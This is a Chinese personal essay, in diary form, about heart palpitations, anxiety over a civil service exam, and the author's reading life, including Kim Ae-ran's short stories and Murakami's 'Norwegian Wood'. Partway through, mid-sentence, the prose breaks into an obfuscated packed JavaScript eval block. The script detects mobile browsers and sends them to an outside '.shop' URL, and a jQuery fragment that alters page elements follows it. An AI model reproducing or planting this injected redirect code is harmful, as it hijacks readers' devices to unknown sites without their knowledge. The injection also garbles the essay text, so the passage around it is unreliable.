32
[2025年6月，第26周]
去年十月，开车路上，我开始听播客。恰逢韩江获得诺贝尔文学奖，韩女文学被广泛讨论，我被种草了金爱烂的《滔滔生活》。
停药后，没有简历石沉大海和面试被拷问这类刺激，恐慌不再，心悸仍不时发作。早上得空，我坐在小板凳上守摊，刷不了一会新闻，心就开始发慌。二二年心动过速，我下载了一个应用，通过调整呼吸缓解焦虑，现在再次安装。我拿出耳机，有节奏地跟随提示呼气吸气，起到一些作用。
我和妈妈说自己仍有心悸的毛病，她问我该怎么办。
上次心脏不适，妈妈从外婆那里拿来一些丹参保心茶。去医院做长程心电图没有查出问题，医生嘱咐我好好休息，也没提用药的事。这些茶包亦在心动过速那次派上了用场。我准备故技重施，托妈妈替我买一些。
妈妈去过药房，说店里没有丹参保心茶，不过，店员推荐了生脉饮。想着中药养身，我打算吃吃看。
国考只一次机会，几百人竞争一个岗位，我没有多少把握，很是为此担忧。学习之外的时间，刷手机也难以入迷，我乐得自在，试图从书本中获得平静与力量。
儿时，我喜欢有趣的、好玩的、好吃的，谁曾想，长大后，却是心灵的平静最难求。工作时，琐事繁多，项目推进仰赖组内全员，一人之力于事无补。我既盼着项目结束，又因完成得不好屡添忧愁。
我既没有成家，亦没有生小孩，虽然欠了债，却非房贷这种一背就是几十年、轻易动弹不得的生契。可我还是有如此之多的身不由己，心中平静难求。
上学时我有许多爱好，工作后不得闲，一一放弃。
唯有书本，我深知自己叶公好龙，买得多，看的少，便有意压制。可每每收到一本新书，不论专业书还是小说，内心的柔软好似被熨帖，买书这件事，虽不纵容，却也不曾断绝。
看完《马文·柯林斯的教育之道》，我汲取到一些力量，又翻开了《滔滔生活》。
这本书购于去年十二月，恰逢圣诞，主播推荐金爱烂的《圣诞特选》。
“男人跟妹妹说，不管多穷，一定要买马桶清洁剂。马桶清洁剂是圆形固体，放在抽水桶里。这样每次冲水就会有蓝色的水流入马桶。男人说看到白色马桶里清新地积聚着蓝色的水，心情就会莫名地变好，甚至会觉得自己过得还不错。”
主播朗读了这段话。我喜欢不过分描述的语句，也许能引发思考，也许能引起共鸣。
我从第一篇看起。黑色雨水入侵房间，“我”在钢琴被雨水浸泡的前一刻，“在半地下室里弹钢琴”。
当钢琴不再作为才艺，当饺子馆香气不再扑鼻，这个短篇里没有我找寻的生命力和意义。
溪辞尤为喜欢郝思嘉，我因此知道《飘》。”Tomorrow is another day”，郝思嘉最突出的特质是顽强的生命力，在逆境中永不言弃的精神是她的核心魅力。
语文课本选入了欧·亨利的《麦琪的礼物》、《最后一片叶子》。欧·亨利是我最喜欢的短篇小说家，“意料之外，情理之中”，初中语文老师引用的八字短评，我记忆犹新。
我打小喜欢看电视剧，上大学后，有了时间和平板，我看了不少好剧。《请回答1988》是其中一部，我尤爱里面的成宝拉。第三集，成宝拉趴在褥上看的那本书，正是“人最宝贵的是生命。生命每个人只有一次。人的一生应当这样度过：当他回忆往事时，不因虚度年华而悔恨，也不因碌碌无为而羞愧；在临死时，他能够说：‘我的整个生命和全部精力，都献给了世界上最壮丽的事业——为人类的解放而斗争’”的出处——《钢铁是怎样炼成的》。
我不沉湎于日常生活困境，事业一直睥睨着生活中的其他存在；我尚未从历史创伤中反思，“以史为鉴，可以知兴替”，这是我的历史观。
我合上《滔滔生活》，从焦虑中抽离。
高中语文老师在我们入学后不久推荐了《挪威的森林》，我那时已不喜他，却也仍在为理解他做出尝试。
我至今无法理解为什么会有老师在高中推荐这本书，是担心学生压力大，心理出问题，所以给出预警？我不认为这本书能起到这个作用。
小孩子很容易学坏，比如我初三的同桌和前排的男同学。他们一边翻阅《金瓶梅》，一边发出荡漾的笑声。我面露鄙夷，丁点儿都不想沾边。可到了高中，我也难逃纯洁心灵被荼毒的命运。
渡边和永泽混乱的私生活姑且按下不表。书中对永
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301307|198639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
泽的描写，甫一看，便抓住了我的眼球。
“他宣称：对死后不足三十年的作家，原则上是不屑一顾的，那种书不足为信。”
阅读于我，少有人引导。初中语文老师旨在培养阅读氛围，他介绍的几本，至今仍是经典，却委实不够看。
我省吃俭用存下了区图书馆的会费，后来手头宽裕，常去上庸最大的文苑书店买书。书店一共六层，文学类书籍在最下一层。我一排接一排地逛着，那些课本、杂志中提到过的作家、书籍，每一偶遇，我身上便泛起一层鸡皮疙瘩。若是有些兴趣，便把书从柜中抽出，小心抱在怀里。结账时，往往满怀。
回家路上我抱着放在腿上的塑料袋，一本本书竖立在袋中，一股说不出来的心满意足流淌在心间。
让永泽和渡边结交的《了不起的盖茨比》，自然也被我纳入书柜；让永泽破例的菲茨杰拉德，我一并入手了他的《夜色温柔》。
到我找到第一份程序员的工作，虽不至于将永泽的话奉为圭臬，形容为心服首肯，却也不为过。
“我要百分之百地发挥自己的能力，不达极限绝不罢休。想拿的就拿，不想拿的就不拿，就这样生存下去。不行的话，到不行的时候再另行考虑。”
虽然我意识到高中生阅读《挪威的森林》不合时宜，我还是入手了村上春树的其他作品，并对《列克星敦的幽灵》这本短篇小说集爱不释手。
我喜爱《列克星敦的幽灵》中如馆藏一样丰富的精神世界，也数次翻阅领悟《沉默》中大泽能让青木流露“脚已动弹不得的拳击手的眼神”那无声有形的力量。
过去几年的经历，让我再次翻阅《挪威的森林》时，将目光停留在小林绿子的与众不同。
永泽行驶在自己的人生轨道上，旁若无人，所向披靡；小林绿子为买煎蛋锅戴了整整三个月“半湿不干的乳罩”，送走因脑肿瘤死亡的妈妈不足两年，又在本该多姿多彩的大学生活中分身不暇地照顾同样患上脑肿瘤的爸爸。她对时弊的针砭，立足无比坚定。
不过，我感知得到她生命力的顽强，却不明人能够如此做的所以然。
我功利心很重，却只落得个神似，因此常做无用功；我不愿承认自己色厉内荏，总是懵懵懂懂，只能一次又一次地后知后觉。